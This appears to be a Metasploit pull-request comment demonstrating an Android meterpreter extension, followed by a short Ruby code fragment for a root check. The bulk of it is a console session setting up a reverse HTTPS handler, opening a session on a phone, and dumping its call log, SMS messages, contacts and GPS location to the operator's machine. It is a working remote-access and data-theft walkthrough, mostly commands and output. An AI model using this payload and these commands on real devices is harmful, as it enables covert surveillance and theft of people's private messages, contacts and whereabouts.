Android meterpreter extension

```
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_https
PAYLOAD => android/meterpreter/reverse_https
msf exploit(handler) > set LHOST 10.0.0.1
LHOST => 10.0.0.1
msf exploit(handler) > set LPORT 2222
LPORT => 2222
msf exploit(handler) > exploit 

[*] Started HTTPS reverse handler on https://0.0.0.0:2222/
[*] Starting the payload handler...
[*] 10.0.0.101:43620 Request received for /TAvM_4CurVL8LMrbIqy3V...
[*] Meterpreter session 1 opened (10.0.0.1:2222 -> 10.0.0.101:43620) at 2014-02-26 03:56:50 +0200

meterpreter > sysinfo 
Computer    : localhost
OS          : Android 4.1.1 - Linux 3.0.31-302285 (armv7l)
Meterpreter : java/android
meterpreter > help

Android Commands
================

    Command          Description
    -------          -----------
    check_root       Check if device is rooted
    device_shutdown  Shutdown device
    dump_calllog     Get call log
    dump_contacts    Get contacts list
    dump_sms         Get sms messages
    geolocate        Get current lat-long using geolocation


meterpreter > check_root 
[*] Device is rooted
meterpreter > dump_calllog
[] Fetching 164 entries
[] Call log saved to: E:/metasploit/metasploit-framework/dump_calllog_rjOUMFHN.txt

meterpreter > dump_sms
[] Fetching 896 sms messages
[] Sms messages saved to: E:/metasploit/metasploit-framework/sms_dump_JQmaoINw.txt

meterpreter > dump_contacts
[] Fetching 618 contacts into list
[] Contacts list saved to: E:/metasploit/metasploit-framework/contacts_dump_GidUbOsl.txt

meterpreter > geolocate
[*] Current Location:

Latitude  : 31.2186009
Longitude : 29.9448264
meterpreter > exit
```
No need for the assignment.  Just this is fine:

```
def check_root
  request = ...
  response = ...
  response.get_tlc(TLV_TYPE_CHECK_ROOT_BOOL).value